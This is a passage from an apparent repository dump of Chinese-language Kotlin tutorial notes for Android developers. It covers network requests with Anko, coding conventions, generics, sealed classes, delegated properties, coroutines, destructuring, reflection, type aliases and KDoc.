findViewById(R.id.textView) as TextView\n    }\n}\n```\n`textView`是对`Activity`的一项扩展属性，与在`activity_main.xml`中的声明具有同样类型。\n\n\n### 网络请求   \n\n\n`Kotlin`提供了一些扩展函数来执行网络请求，同时也可以使用第三方库来执行.     \n```kotlin\npublic class Request(val url: String) {\n    public fun run() {\n        val forecastJsonStr = URL(url).readText()\n        Log.d(javaClass.simpleName, forecastJsonStr)\n    }\n}\n```\n\n如你所知，`HTTP`请求不被允许在主线程中执行，否则它会抛出异常。这是因为阻塞住`UI`线程是一个非常差的体验。`Android`中通用的做法是使用\n`AsyncTask`，但是这些类是非常丑陋的，并且使用它们无任何副作用地实现功能也是非常困难的。`Anko`提供了非常简单的`DSL`来处理异步任务，\n它满足大部分的需求。它提供了一个基本的`async`函数用于在其它线程执行代码，也可以选择通过调用`uiThread`的方式回到主线程。\n在子线程中执行请求如下这么简单:  \n```kotlin\nasync() {\n    Request(url).run()\n    uiThread { longToast(\"Request performed\") }\n}\n```\n`UIThread`有一个很不错的一点就是可以依赖于调用者。如果它是被一个`Activity`调用的，那么如果`activity.isFinishing()`返回`true`，\n则`uiThread`不会执行，这样就不会在`Activity`销毁的时候遇到崩溃的情况了。\n\n##### 解析`gson`\n\n`Kotlin`允许我们去定义一些行为与静态对象一样的对象。尽管这些对象可以用众所周知的模式来实现，比如容易实现的单例模式。\n我们需要一个类里面有一些静态的属性、常量或者函数，我们可以使用`companion objecvt`。这个对象被这个类的所有对象所共享，就像`Java`中的静态\n属性或者方法。\n```kotlin\npublic class ForecastRequest(val zipCode: String) {\n    companion object {\n        private val APP_ID = \"15646a06818f61f7b8d7823ca833e1ce\"\n        private val URL = \"http://api.openweathermap.org/data/2.5/\" +\n                \"forecast/daily?mode=json&units=metric&cnt=7\"\n        private val COMPLETE_URL = \"$URL&APPID=$APP_ID&q=\"\n    }\n    \n    fun execute(): ForecastResult {\n        val forecastJsonStr = URL(COMPLETE_URL + zipCode).readText()\n        return Gson().fromJson(forecastJsonStr, ForecastResult::class.java)\n    }\n}\n```\n\n\n### 创建Application \n\n```kotlin\nclass App : Application() {\n    companion object {\n        private var instance: Application? = null\n        fun instance() = instance!!\n    }\n    override fun onCreate() {\n        super.onCreate()\n        instance = this\n    }\n}\n\n```\n\n\n\n\n- with() \n\n```kotlin\ninline fun <T> with(t: T, body: T.() -> Unit) { t.body() }\n```\n\n\n\n参考\n===\n\n- [Kotlin for Android Developers](https://leanpub.com/kotlin-for-android-developers)\n- [Resources to Learn Kotlin](https://developer.android.com/kotlin/resources.html)\n- [Kotlin语言中文站](https://www.kotlincn.net/docs/reference/coding-conventions.html)\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(二).md",
    "content": "Kotlin学习教程(二)\n===\n\n上一篇文章介绍了`Kotlin`的基本语法，我感觉在继续学习更多知识之前有必要单独介绍以下编码规范。    \n\n不管学什么东西，开始形成的习惯以后想改都比较困难。所以开始就用规范的方式学习是最好的。 \n\n\n### 命名风格\n\n如果拿不准的时候，默认使用`Java`的编码规范，比如:   \n\n- 使用驼峰法命名（并避免命名含有下划线）\n- 类型名以大写字母开头\n- 方法和属性以小写字母开头\n- 使用4个空格缩进\n- 公有函数应撰写函数文档，这样这些文档才会出现在`Kotlin Doc`中\n\n\n### 冒号\n\n类型和超类型之间的冒号前要有一个空格，而实例和类型之间的冒号前不要有空格:     \n\n```kotlin\ninterface Foo<out T : Any> : Bar {\n    fun foo(a: Int): T\n}\n```\n\n### `Lambda`表达式\n\n在`lambda`表达式中, 大括号左右要加空格，分隔参数与代码体的箭头左右也要加空格。`lambda`表达应尽可能不要写在圆括号中:    \n\n```kotlin\nlist.filter { it > 10 }.map { element -> element * 2 }\n```\n\n### 类头格式化\n\n有少数几个参数的类可以写成一行：\n\n```kotlin\nclass Person(id: Int, name: String)\n```\n\n具有较长类头的类应该格式化，以使每个主构造函数参数位于带有缩进的单独一行中。 此外，右括号应该另起一行。如果我们使用继承，\n那么超类构造函数调用或者实现接口列表应位于与括号相同的行上：\n\n```kotlin\nclass Person(\n    id: Int, \n    name: String,\n    surname: String\n) : Human(id, name) {\n    // ……\n}\n```\n对于多个接口，应首先放置超类构造函数调用，然后每个接口应位于不同的行中：\n```kotlin\nclass Person(\n    id: Int, \n    name: String,\n    surname: String\n) : Human(id, name),\n    KotlinMaker {\n    // ……\n}\n```\n\n\n### `Unit`  \n\n如果函数返回`Unit`类型，该返回类型应该省略:   \n```kotlin\nfun foo() { // 省略了 \": Unit\"\n\n}\n```\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(五).md",
    "content": "Kotlin学习教程(五)\n===\n\n\n### 泛型   \n\n```kotlin\nclass Data<T>(var t : T)\ninterface Data<T>\nfun <T> logic(t : T){}\n```\n\n\n定义:  \n\n```kotlin\nclass TypedClass<T>(parameter: T) {\n    val value: T = parameter\n}\n```\n这个类现在可以使用任何的类型初始化，并且参数也会使用定义的类型，我们可以这么做：\n```kotlin\nval t1 = TypedClass<String>(\"Hello World!\")\nval t2 = TypedClass<Int>(25)\n```\n但是Kotlin很简单并且缩减了模版代码，所以如果编译器能够推断参数的类型，我们甚至也就不需要去指定它：\n```kotlin\nval t1 = TypedClass(\"Hello World!\")\nval t2 = TypedClass(25)\nval t3 = TypedClass<String?>(null)\n```\n\n\n##### 类型擦除 \n\n```kotlin\nclass Data<T>{}\n\nLog.d(\"test\", Data<Int>().javaClass.name)\nLog.d(\"test\", Data<String>().javaClass.name)\n\n// 输出\ncom.study.jcking.weatherkotlin.exec.Data\ncom.study.jcking.weatherkotlin.exec.Data\n```\n声明了一个泛型类`Data<T>`，并实现了两种不同类型的实例。但是在获取类名是，却发现得到了同样的结果\n`com.study.jcking.weatherkotlin.exec.Data`，这其实是在编译期擦除了泛型类型声明。\n\n### 嵌套类\n\n嵌套类顾名思义，就是嵌套在其他类中的类。而嵌套类外部的类一般被称为包装类或者外部类。\n```kotlin\nclass Outter{\n    class Nested{\n        fun execute(){\n            Log.d(\"test\", \"Nested -> execute\")\n        }\n    }\n}\n\n// 调用\nOutter.Nested().execute()\n\n//输出\nNested -> execute\n```\n嵌套类可以直接创建实例，方式是包装类.嵌套类\n`val nested : Outter.Nested()`\n\n### 内部类   \n\n内部类和嵌套类有些类似，不同点是内部类用关键字`inner`修饰。\n\n```kotlin\nclass Outter{\n    val testVal = \"test\"\n    inner class Inner{\n        fun execute(){\n            Log.d(\"test\", \"Inner -> execute : can read testVal=$testVal\")\n        }\n    }\n}\n\n// 调用\nval outter = Outter()\noutter.Inner().execute()\n\n// 输出\nInner -> execute : can read testVal=test\n```\n\n内部类不能直接创建实例，需要通过外部类调用\n```kotlin\nval outter = Outter()\noutter.Inner().execute()\n```\n\n\n\n匿名内部类\n\n```kotlin\n// 通过对象表达式来 创建匿名内部类的对象，可以避免重写抽象类的子类和接口的实现类，这和Java中匿名内部类的是接口和抽象类的延伸一致。\ntext.setOnClickListener(object : View.OnClickListener{\n    override fun onClick(p0: View?) {\n        Log.d(\"test\", p0.string())\n    }\n})\n\n或\nmViewPager.addOnPageChangeListener(object : ViewPager.OnPageChangeListener {\n    override fun onPageScrollStateChanged(state: Int) {\n        TODO(\"not implemented\") //To change body of created functions use File | Settings | File Templates.\n    }\n\n    override fun onPageScrolled(position: Int, positionOffset: Float, positionOffsetPixels: Int) {\n        TODO(\"not implemented\") //To change body of created functions use File | Settings | File Templates.\n    }\n\n    override fun onPageSelected(position: Int) {\n        TODO(\"not implemented\") //To change body of created functions use File | Settings | File Templates.\n    }\n\n})\n```\n\n\n### 枚举    \n\n```kotlin\nenum class Day {\n    SUNDAY, MONDAY, TUESDAY, WEDNESDAY,\n    THURSDAY, FRIDAY, SATURDAY\n}\n```\n枚举可以带参数:   \n\n```kotlin\nenum class Icon(val res: Int) {\n    UP(R.drawable.ic_up),\n    SEARCH(R.drawable.ic_search),\n    CAST(R.drawable.ic_cast)\n}\n\nval searchIconRes = Icon.SEARCH.res\n```\n枚举可以通过`String`匹配名字来获取，我们也可以获取包含所有枚举的`Array`，所以我们可以遍历它。\n```kotlin\nval search: Icon = Icon.valueOf(\"SEARCH\")\nval iconList: Array<Icon> = Icon.values()\n```\n而且每一个枚举都有一些函数来获取它的名字、声明的位置:    \n```kotlin\nval searchName: String = Icon.SEARCH.name()\nval searchPosition: Int = Icon.SEARCH.ordinal()\n```\n\n### 密封类     \n\n密封类用来表示受限的类继承结构:当一个值为有限集中的\n类型、而不能有任何其他类型时。在某种意义上，他们是枚举类的扩展:枚举类型的值集合\n也是受限的，但每个枚举常量只存在一个实例，而密封类\n的一个子类可以有可包含状态的多个实例。\n\n要声明一个密封类，需要在类名前面添加`sealed`修饰符。虽然密封类也可以\n有子类，但是所有子类都必须在与密封类自身相同的文件中声明。(在`Kotlin 1.1`之前，\n该规则更加严格:子类必须嵌套在密封类声明的内部)。\n\n```kotlin\nsealed class Expr\ndata class Const(val number: Double) : Expr()\ndata class Sum(val e1: Expr, val e2: Expr) : Expr()\nobject NotANumber : Expr()\n\nfun eval(expr: Expr): Double = when (expr) {\n    is Const -> expr.number\n    is Sum -> eval(expr.e1) + eval(expr.e2)\n    NotANumber -> Double.NaN\n}\n```\n\n使用密封类的关键好处在于使用`when`表达式 的时候，如果能够\n验证语句覆盖了所有情况，就不需要为该语句再添加一个`else`子句了。\n\n```kotlin\nfun eval(expr: Expr): Double = when(expr) {\n    is Expr.Const -> expr.number\n    is Expr.Sum -> eval(expr.e1) + eval(expr.e2)\n    Expr.NotANumber -> Double.NaN\n    // 不再需要 `else` 子句，因为我们已经覆盖了所有的情况\n}\n```\n\n### 异常    \n\n在`Kotlin`中，所有的`Exception`都是实现了`Throwable`，含有一个`message`且未经检查。这表示我们不会强迫我们在任何地方使用`try/catch`。\n这与`Java`中不太一样，比如在抛出`IOException`的方法，我们需要使用`try-catch`包围代码块。但是通过检查`exception`来处理显示并不是一个\n好的方法。\n\n抛出异常的方式与`Java`很类似：\n```kotlin\nthrow MyException(\"Exception message\")\n```\n\n`try`表达式也是相同的：\n```kotlin\ntry{\n    // 一些代码\n}\ncatch (e: SomeException) {\n    // 处理\n}\nfinally {\n    // 可选的finally块\n}\n```\n在`Kotlin`中，`throw`和`try`都是表达式，这意味着它们可以被赋值给一个变量。这个在处理一些边界问题的时候确实非常有用:   \n```kotlin\nval s = when(x){\n    is Int -> \"Int instance\"\n    is String -> \"String instance\"\n    else -> throw UnsupportedOperationException(\"Not valid type\")\n}\n```\n或者\n```kotlin\nval s = try { x as String } catch(e: ClassCastException) { null }\n```\n\n### 对象`(Object)`\n\n声明对象就如同声明一个类，你只需要用保留字`object`替代`class`，其他都相同。只需要考虑到对象不能有构造函数，因为我们不调用任何构造函数来访问\n它们。事实上，对象就是具有单一实现的数据类型。    \n\n```kotlin\nobject Resource {\n    val name = \"Name\"\n}\n```\n\n### 单例\n\n```kotlin\nobject Resource {\n    val name = \"Name\"\n}\n```\n\n因为对象就是具有单一实现的数据类型，所以在`kotlin`中对象就是单例。   \n对象的实例在我们第一次使用时，被创建。所以这里有一个懒惰实例化:如果一个对象永远不会被使用，这个实例永远不会被创建。\n\n### 对象表达式\n\n对象也能用于创建匿名类实现。\n\n```java\nrecycler.adapter = object : RecyclerView.Adapter() {\n    override fun onBindViewHolder(holder: RecyclerView.ViewHolder?, position: Int) {\n    }\n \n    override fun getItemCount(): Int {\n    }\n \n    override fun onCreateViewHolder(parent: ViewGroup?, viewType: Int): RecyclerView.ViewHolder {\n    }\n}\n```\n例如，每次想要创建一个接口的内联实现，或者扩展另一个类时，你将使用上面的符号。\n\n\n### 伴生对象`(Companion Object)`\n\n每个类都可以实现一个伴生对象，它是该类的所有实例共有的对象。它将类似于`Java`中的静态字段。\n```java\nclass App : Application() {\n    companion object {\n         lateinit var instance: App\n             private set\n     }\n \n     override fun onCreate() {\n         super.onCreate()\n         instance = this\n    }\n}\n```\n\n在这例子中，创建一个由`Application`扩展的（派送）的类，并且在`companion object`中存储它的唯一实例。     \n`lateinit`表示这个属性开始是没有值得，但是，在使用前将被赋值（否则，就会抛出异常）。     \n`private set`用于说明外部类不能对其进行赋值。   \n\n\n### 委托(代理)\n\n##### 类委托\n\n委托模式是最常用的设计模式的一种，在委托模式中，有两个对象参与处理同一个请求，接受请求的对象将请求委托给另一个对象来处理。\n`kotlin`中的委托可以算是对委托模式的官方支持。    \n`Kotlin`直接支持委托模式，更加优雅，简洁。`Kotlin`通过关键字`by`实现委托。\n\n```kotlin\ninterface Base{\n    fun print()\n}\n\nclass BaseImpl(val x : Int) : Base{\n    override fun print() {\n        Log.d(JTAG, \"BaseImpl -> ${x.string()}\")\n    }\n}\n\nclass Printer(b : Base) : Base by b\n\nfun test(){\n    val b = BaseImpl(5)\n    Printer(b).print()\n}\n\n// 输出\nBaseImpl -> 5\n```\n\n可以看到`Printer`类没有实现接口`Base`的方法`print()`，而是通过关键字`by`将实现委托给了`b`，而输出也和预想的一样。\n\n\n\n##### 属性委托\n\n语法是`val/var <属性名>: <类型> by <表达式>`。在`by`后面的表达式是该委托，因为属性对应的`get()`和`set()`会被委托给它的`getValue()`\n和`setValue()`方法。 属性的委托不必实现任何的接口，但是需要提供一个`getValue()`函数（和`setValue()`——对于`var`属性）。\n\n```kotlin\nclass Example {\n    var property : String by DelegateProperty()\n}\n\nclass DelegateProperty {\n    var temp = \"old\"\n\n    operator fun getValue(ref: Any?, p: KProperty<*>): String {\n        return \"DelegateProperty --> ${p.name} --> $temp\"\n    }\n\n    operator fun setValue(ref: Any?, p: KProperty<*>, value: String) {\n        temp = value\n    }\n}\n\nfun test(){\n    val e = Example()\n    Log.d(JTAG, e.property)\n    e.property = \"new\"\n    Log.d(JTAG, e.property)\n}\n\n// 输出\nDelegateProperty --> property --> old\nDelegateProperty --> property --> new\n```\n\n像上面的`DelegateProperty`这样，被一个属性委托的类，我叫它被委托类，委托它的属性叫委托属性。其中:   \n\n- 如果委托属性是只读属性即`val`，则被委托类需要实现`getValue`方法\n- 如果委托属性是可变属性即`var`，则被委托类需要实现`getValue`方法和`setValue`方法\n- `getValue`方法的返回类型必须是与委托属性相同或是其子类\n- `getValue`方法和`setValue`方法必须要用关键字`operator`标记\n\n\n`Kotlin`通过属性委托的方式，为我们实现了一些常用的功能，包括:   \n\n- 延迟属性`lazy properties`\n- 可观察属性`observable properties`\n- `map`映射\n\n##### 延迟属性    \n\n延迟属性我们应该不陌生，也就是通常说的懒汉，在定义的时候不进行初始化，把初始化的工作延迟到第一次调用的时候。`kotlin`中实现延迟属性很简单，\n来看一下。\n\n```kotlin\nval lazyValue: String by lazy {\n    Log.d(JTAG, \"Just run when first being used\")\n    \"value\"\n}\n\nfun test(){\n    Log.d(JTAG, lazyValue)\n    Log.d(JTAG, lazyValue)\n}\n\n// 输出\nJust run when first being used\nvalue\nvalue\n```\n可以看到，只有第一次调用了`lazy`里的日志输出，说明`lazy`方法块只有第一次执行了。按照个人理解，上面的`lazy`模块可以这么翻译\n\n```kotlin\nString lazyValue;\nString getLazyValue(){\n    if(lazyValue == null){\n        Log.d(JTAG, \"Just run when first being used\");\n        lazyValue = \"value\";\n    }\n    return lazyValue;\n}\n\nvoid test(){\n    Log.d(JTAG, getLazyValue());\n    Log.d(JTAG, getLazyValue());\n}\n```\n\n##### 可观察属性\n\n可观察属性对应的是我们常用的观察者模式，机制类似于我们给`View`增加`Listener`。同样的`kotlin`给了我们很方便的实现:\n\n```kotlin\nclass User {\n    var name: Int by Delegates.observable(0) {\n        prop, old, new -> Log.d(JTAG, \"$old -> $new\")\n    }\n\n    var gender: Int by Delegates.vetoable(0) {\n        prop, old, new -> (old < new)\n    }\n}\n\nfun test(){\n    val user = User()\n    user.name = 2    // 输出 0 -> 2        \n    user.name = 1   // 输出 2 -> 1    \n\n    user.gender = 2\n    Log.d(JTAG, user.gender.string())   // 输出 2\n    user.gender = 1\n    Log.d(JTAG, user.gender.string())   // 输出 2\n}\n```\n`Delegates.observable()`接受两个参数:初始值和修改时处理程序`handler`。 每当我们给属性赋值时会调用该处理程序（在赋值后执行）。\n它有三个参数：被赋值的属性、旧值和新值。在上面的例子中，我们对`user.name`赋值，`set`变化触发了观察者，执行了`Log.d`代码段。\n\n除了`Delegates.observable()`之外，我们还把`gender`委托给了`Delegates.vetoable()`,和`observable`不同的是，`observable`是执行了\n`set`变化之后，才触发`observable`,而`vetoable`则是在`set`执行之前被触发，它返回一个`Boolean`，如果为`true`才会继续执行`set`。\n在上面的例子中，我们看到在第一次赋值`user.gender = 2`时，由于`2>0`，所以`old<new`判断成立，所以执行了`set`方法，`gender`为2,\n第二次赋值`user.gender = 1`则没有通过判断，所以`gender`依然为2。   \n\n\n##### map映射\n\n一个常见的用例是在一个映射`map`里存储属性的值。这经常出现在像解析`JSON`或者做其他“动态”事情的应用中。在这种情况下，你可以使用映射实例自身作\n为委托来实现委托属性。\n\n```kotlin\nclass User(val map: Map<String, Any?>) {\n    val name: String by map\n    val age: Int     by map\n}\n// 在这个例子中，构造函数接受一个映射参数\nval user = User(mapOf(\n    \"name\" to \"John Doe\",\n    \"age\"  to 25\n))\n委托属性会从这个映射中取值（通过字符串键——属性的名称）\nprintln(user.name) // Prints \"John Doe\"\nprintln(user.age)  // Prints 25\n这也适用于var属性，如果把只读的Map换成MutableMap的话\nclass MutableUser(val map: MutableMap<String, Any?>) {\n    var name: String by map\n    var age: Int     by map\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(八).md",
    "content": "Kotlin学习教程(八)\n===\n\n`Kotlin`协程\n---\n\n一些`API`启动长时间运行的操作(例如网络`IO`、文件`IO`、`CPU`或`GPU`密集型任务等)，并要求调用者阻塞直到它们完成。协程提供了一种避免阻塞线程\n并用更廉价、更可控的操作替代线程阻塞的方法:协程挂起。     \n协程通过将复杂性放入库来简化异步编程。程序的逻辑可以在协程中顺序地表达，而底层库会为我们解决其异步性。该库可以将用户代码的相关部分包装为回调、\n订阅相关事件、在不同线程(甚至不同机器！)上调度执行，而代码则保持如同顺序执行一样简单。     \n\n\n### 阻塞 vs 挂起\n\n基本上，协程计算可以被挂起而无需阻塞线程。线程阻塞的代价通常是昂贵的，尤其在高负载时，因为只有相对少量线程实际可用，因此阻塞其中一个会导致一些\n重要的任务被延迟。\n\n另一方面，协程挂起几乎是无代价的。不需要上下文切换或者`OS`的任何其他干预。最重要的是，挂起可以在很大程度上由用户库控制:   \n作为库的作者，我们可以决定挂起时发生什么并根据需求优化/记日志/截获。\n\n另一个区别是，协程不能在随机的指令中挂起，而只能在所谓的挂起点挂起，这会调用特别标记的函数。\n\n#### 挂起函数    \n\n当我们调用标记有特殊修饰符`suspend`的函数时，会发生挂起:    \n\n```kotlin\nsuspend fun doSomething(foo: Foo): Bar {\n    ……\n}\n```\n\n这样的函数称为挂起函数，因为调用它们可能挂起协程(如果相关调用的结果已经可用，库可以决定继续进行而不挂起)。挂起函数能够以与普通函数相同的方式\n获取参数和返回值，但它们只能从协程和其他挂起函数中调用。事实上，要启动协程，\n必须至少有一个挂起函数，它通常是匿名的(即它是一个挂起`lambda`表达式)。让我们来看一个例子，一个简化的`async()`函数\n(源自`kotlinx.coroutines`库):    \n\n```kotlin\nfun <T> async(block: suspend () -> T)\n```\n\n这里的`async()`是一个普通函数(不是挂起函数)，但是它的`block`参数具有一个带`suspend`修饰符的函数类型:`suspend() -> T`。\n所以，当我们将一个`lambda`表达式传给`async()`时，它会是挂起`lambda`表达式，于是我们可以从中调用挂起函数:    \n\n```kotlin\nasync {\n    doSomething(foo)\n    ……\n}\n```\n\n继续该类比,`await()`可以是一个挂起函数(因此也可以在一个`async {}`块中调用)，该函数挂起一个协程，直到一些计算完成并返回其结果:   \n```kotlin\nasync {\n    ……\n    val result = computation.await()\n    ……\n}\n\n```\n\n更多关于`async/await`函数实际在`kotlinx.coroutines`中如何工作的信息可以在这里找到。\n\n请注意，挂起函数`await()`和`doSomething()`不能在像`main()`这样的普通函数中调用:    \n```kotlin\nfun main(args: Array<String>) {\n    doSomething() // 错误：挂起函数从非协程上下文调用\n}\n```\n\n还要注意的是，挂起函数可以是虚拟的，当覆盖它们时，必须指定`suspend`修饰符:    \n```kotlin\ninterface Base {\n    suspend fun foo()\n}\n\nclass Derived: Base {\n    override suspend fun foo() { …… }\n}\n```\n\n`Kotlin`解构声明    \n---\n\n\n有时把一个对象解构成很多变量会很方便:   \n\n```kotlin\nval (name, age) = person\n```\n\n这种语法称为解构声明。 一个解构声明可以同时创建多个变量。    \n\n我们已经声明了两个新变量:`name`和`age`，并且可以独立使用它们:    \n```kotlin\nprintln(name)\nprintln(age)\n```\n\n一个解构声明会被编译成以下代码:    \n```kotlin\nval name = person.component1()\nval age = person.component2()\n```\n\n其中的`component1()`和`component2()`函数是在`Kotlin`中广泛使用的约定原则的另一个例子。\n\n任何表达式都可以出现在解构声明的右侧，只要可以对它调用所需数量的`component`函数即可。\n当然，可以有`component3()`和`component4()`等等。\n\n请注意，`componentN()`函数需要用`operator`关键字标记，以允许在解构声明中使用它们。\n\n解构声明也可以用在`for{: .keyword }`循环中:    \n```kotlin\nfor ((a, b) in collection) { …… }\n```\n变量`a`和`b`的值取自对集合中的元素上调用`component1()`和`component2()`的返回值。\n\n例:从函数中返回两个变量\n让我们假设我们需要从一个函数返回两个东西。例如，一个结果对象和一个某种状态。\n在`Kotlin`中一个简洁的实现方式是声明一个数据类并返回其实例:    \n```kotlin\ndata class Result(val result: Int, val status: Status)\nfun function(……): Result {\n    // 各种计算\n    return Result(result, status)\n}\n// 现在，使用该函数：\nval (result, status) = function(……)\n```\n因为数据类自动声明`componentN()`函数，所以这里可以用解构声明。\n\n注意：我们也可以使用标准类`Pair`并且让`function()`返回`Pair<Int, Status>`，\n但是让数据合理命名通常更好。\n\n例：解构声明和映射\n可能遍历一个映射`(map)`最好的方式就是这样：\n```kotlin\nfor ((key, value) in map) {\n   // 使用该 key、value 做些事情\n}\n```\n为使其能用，我们应该\n通过提供一个`iterator()`函数将映射表示为一个值的序列，\n通过提供函数`component1()`和`component2()`来将每个元素呈现为一对。\n当然事实上，标准库提供了这样的扩展:   \n```kotlin\noperator fun <K, V> Map<K, V>.iterator(): Iterator<Map.Entry<K, V>> = entrySet().iterator()\noperator fun <K, V> Map.Entry<K, V>.component1() = getKey()\noperator fun <K, V> Map.Entry<K, V>.component2() = getValue()\n```\n因此你可以在`for{: .keyword }`-循环中对映射(以及数据类实例的集合等)自由使用解构声明。\n\n\n`Kotlin`反射\n---\n\n\n最基本的反射功能是获取`Kotlin`类的运行时引用。要获取对\n静态已知的`Kotlin`类的引用，可以使用类字面值语法：\n```kotlin\nval c = KClass::class\n```\n\n该引用是`KClass`类型的值。\n\n请注意，`Kotlin`类引用与`Java`类引用不同。要获得`Java`类引用，\n请在`KClass`实例上使用`.java`属性，也就是`KClass::class.java`\n\n\n#### 函数引用\n\n当我们有一个命名函数声明如下:   \n```kotlin\nfun isOdd(x: Int) = x % 2 != 0\n```\n\n我们可以很容易地直接调用它`(isOdd(5))`，但是我们也可以把它作为一个值传递。例如传给另一个函数。\n为此，我们使用`::`操作符:   \n```kotlin\nval numbers = listOf(1, 2, 3)\nprintln(numbers.filter(::isOdd)) // 输出 [1, 3]\n```\n这里`::isOdd`是函数类型`(Int) -> Boolean`的一个值。\n\n当上下文中已知函数期望的类型时`::`可以用于重载函数。\n\n例如:      \n```kotlin\nfun isOdd(x: Int) = x % 2 != 0\nfun isOdd(s: String) = s == \"brillig\" || s == \"slithy\" || s == \"tove\"\n\nval numbers = listOf(1, 2, 3)\nprintln(numbers.filter(::isOdd)) // 引用到 isOdd(x: Int)\n```\n\n或者，你可以通过将方法引用存储在具有显式指定类型的变量中来提供必要的上下文:   \n```kotlin\nval predicate: (String) -> Boolean = ::isOdd   // 引用到 isOdd(x: String)\n```\n如果我们需要使用类的成员函数或扩展函数，它需要是限定的。\n例如`String::toCharArray`为类型`String`提供了一个扩展函数:`String.() -> CharArray`。\n\n\n#### 属性引用\n\n要把属性作为`Kotlin`中的一等对象来访问，我们也可以使用`::`运算符:    \n\n```kotlin\nvar x = 1\n\nfun main(args: Array<String>) {\n    println(::x.get()) // 输出 \"1\"\n    ::x.set(2)\n    println(x)         // 输出 \"2\"\n}\n```\n表达式`::x`求值为`KProperty<Int>`类型的属性对象，它允许我们使用\n`get()`读取它的值，或者使用`name`属性来获取属性名。更多信息请参见\n关于`KProperty`类的文档。\n\n对于可变属性，例如`var y = 1`，`::y`返回`KMutableProperty<Int>`类型的一个值，\n该类型有一个`set()`方法。\n\n属性引用可以用在不需要参数的函数处:   \n```kotlin\nval strs = listOf(\"a\", \"bc\", \"def\")\nprintln(strs.map(String::length)) // 输出 [1, 2, 3]\n```\n要访问属于类的成员的属性，我们这样限定它:   \n```kotlin\nclass A(val p: Int)\n\nfun main(args: Array<String>) {\n    val prop = A::p\n    println(prop.get(A(1))) // 输出 \"1\"\n}\n```\n\n\nKotlin类型别名\n---\n\n类型别名为现有类型提供替代名称。\n如果类型名称太长，你可以另外引入较短的名称，并使用新的名称替代原类型名。\n\n它有助于缩短较长的泛型类型。\n例如，通常缩减集合类型是很有吸引力的:    \n```kotlin\ntypealias NodeSet = Set<Network.Node>\n\ntypealias FileTable<K> = MutableMap<K, MutableList<File>>\n```\n\n你可以为函数类型提供另外的别名:   \n```kotlin\ntypealias MyHandler = (Int, String, Any) -> Unit\n\ntypealias Predicate<T> = (T) -> Boolean\n```\n你可以为内部类和嵌套类创建新名称：\n\n```kotlin\nclass A {\n    inner class Inner\n}\nclass B {\n    inner class Inner\n}\n\ntypealias AInner = A.Inner\ntypealias BInner = B.Inner\n```\n\n\n类型别名不会引入新类型。\n它们等效于相应的底层类型。\n当你在代码中添加`typealias Predicate<T>`并使用`Predicate<Int>`时，`Kotlin`编译器总是把它扩展为`(Int) -> Boolean`。\n因此，当你需要泛型函数类型时，你可以传递该类型的变量，反之亦然:    \n\n```kotlin\ntypealias Predicate<T> = (T) -> Boolean\n\nfun foo(p: Predicate<Int>) = p(42)\n\nfun main(args: Array<String>) {\n    val f: (Int) -> Boolean = { it > 0 }\n    println(foo(f)) // 输出 \"true\"\n\n    val p: Predicate<Int> = { it > 0 }\n    println(listOf(1, -2).filter(p)) // 输出 \"[1]\"\n}\n```\n\n\n\n文档\n---\n\n\n用来编写`Kotlin`代码文档的语言(相当于`Java`的`JavaDoc`)称为`KDoc`。本质上`KDoc`是将`JavaDoc`的块标签`(block tags)`语法(\n扩展为支持`Kotlin`的特定构造)和`Markdown`的内联标记`(inline markup)`结合在一起。\n\n\n#### 生成文档    \n\n`Kotlin`的文档生成工具称为[Dokka](https://github.com/Kotlin/dokka)。\n\n`Dokka`有`Gradle`、`Maven`和`Ant`的插件，因此你可以将文档生成集成到你的构建过程中。\n\n\n像`JavaDoc`一样，`KDoc`注释也以`/**`开头、以`*/`结尾。注释的每一行可以以\n星号开头，该星号不会当作注释内容的一部分。\n\n按惯例来说，文档文本的第一段(到第一行空白行结束)是该元素的\n总体描述，接下来的注释是详细描述。\n\n每个块标签都以一个新行开始且以`@`字符开头。\n\n以下是使用`KDoc`编写类文档的一个示例:    \n```kotlin\n/**\n * 一组*成员*。\n *\n * 这个类没有有用的逻辑; 它只是一个文档示例。\n *\n * @param T 这个组中的成员的类型。\n * @property name 这个组的名称。\n * @constructor 创建一个空组。\n */\nclass Group<T>(val name: String) {\n    /**\n     * 将 [member] 添加到这个组。\n     * @return 这个组的新大小。\n     */\n    fun add(member: T): Int { …… }\n}\n```\n\n`KDoc`目前支持以下块标签`(block tags)`:     \n\n- `@param` <名称>\n\n    用于函数的值参数或者类、属性或函数的类型参数。\n    为了更好地将参数名称与描述分开，如果你愿意，可以将参数的名称括在\n    方括号中。因此，以下两种语法是等效的:   \n\t```kotlin\n\t@param name 描述。\n\t@param[name] 描述。\n\t```\n\n- `@return`\n\n    用于函数的返回值。\n\n- `@constructor`\n\n    用于类的主构造函数。\n\n- `@receiver`\n\n    用于扩展函数的接收者。\n\n- `@property` <名称>\n\n    用于类中具有指定名称的属性。这个标签可用于在\n    主构造函数中声明的属性，当然直接在属性定义的前面放置`doc`注释会很别扭。\n\n- `@throws` <类>,`@exception` <类>     \n\n    用于方法可能抛出的异常。因为`Kotlin`没有受检异常，所以也没有期望所有可能的异常都写文档，但是当它会为类的用户提供有用的信息时，仍然可以使用这个标签。\n\n- `@sample` <标识符>    \n\n    将具有指定限定的名称的函数的主体嵌入到当前元素的文档中，以显示如何使用该元素的示例。\n\n- `@see` <标识符>     \n\n    将到指定类或方法的链接添加到文档的另请参见块。\n\n- @author\n\n    指定要编写文档的元素的作者。\n\n- `@since`    \n\n    指定要编写文档的元素引入时的软件版本。\n\n- `@suppress`     \n\n    从生成的文档中排除元素。可用于不是模块的官方`API`的一部分但还是必须在对外可见的元素。\n\n`KDoc`不支持`@deprecated`这个标签。作为替代，请使用`@Deprecated`注解。\n\n\n#### 内联标记   \n\n对于内联标记，`KDoc`使用常规`Markdown`语法，扩展了支持用于链接到代码中其他元素的简写语法。\n\n链接到元素\n要链接到另一个元素(类、方法、属性或参数)，只需将其名称放在方括号中：\n```\n为此目的，请使用方法 [foo]。\n```\n如果要为链接指定自定义标签(label)，请使用 Markdown 引用样式语法：\n```\n为此目的，请使用[这个方法][foo]。\n```\n你还可以在链接中使用限定的名称。请注意，与 JavaDoc 